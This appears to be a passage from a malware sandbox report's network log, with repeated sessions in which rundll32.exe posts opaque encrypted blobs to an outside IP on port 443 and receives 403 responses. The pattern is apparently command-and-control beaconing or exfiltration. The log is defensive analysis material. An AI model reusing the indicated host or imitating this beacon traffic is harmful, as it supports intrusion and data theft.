2021-10-28 02:51:09 UTC	24	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:09 UTC	34	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49972	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:36 UTC	248	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:36 UTC	248	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:36 UTC	253	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49987	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:39 UTC	253	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:39 UTC	253	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:40 UTC	263	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49988	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:40 UTC	258	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:40 UTC	258	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:40 UTC	263	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49995	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:44 UTC	263	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:44 UTC	263	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:45 UTC	273	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49996	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:44 UTC	268	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:44 UTC	268	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:45 UTC	273	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:45 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	50003	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:48 UTC	273	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:48 UTC	273	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:49 UTC	283	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	50004	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:48 UTC	278	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:48 UTC	278	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:49 UTC	283	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	50012	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:52 UTC	283	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:52 UTC	283	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:52 UTC	293	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:52 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	50011	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:52 UTC	288	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:52 UTC	288	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:52 UTC	293	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:52 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	50019	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:55 UTC	293	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:55 UTC	293	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:56 UTC	302	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:56 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49774	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:51:09 UTC	29	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:51:09 UTC	29	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:51:10 UTC	34	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:51:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	50020	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:56 UTC	298	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:56 UTC	298	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: D&RW=LqDQQa:H}nKIX+t.jB`3kV;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:52:56 UTC	303	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:52:56 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	50027	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:59 UTC	303	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:59 UTC	303	OUT	Data Raw: 79 e7 fd 16 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: y&RW=LqDQQa:H}nKIX+t.jB`3k7;Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:00 UTC	312	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	50028	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:52:59 UTC	308	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:52:59 UTC	308	OUT	Data Raw: 44 a4 de cc 10 0b 26 a3 52 ba 57 a3 18 3d 4c 97 b5 f8 71 f0 ab fd a2 44 51 16 db c1 8f 51 97 1e f8 a6 b9 61 3a 03 d8 b5 93 f8 f7 b9 81 48 9d 8b ad b0 7d 6e c6 08 4b 49 58 2b d6 0c 74 13 2e a7 6a fd 91 00 42 f7 60 c6 0b ec 8b 33 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 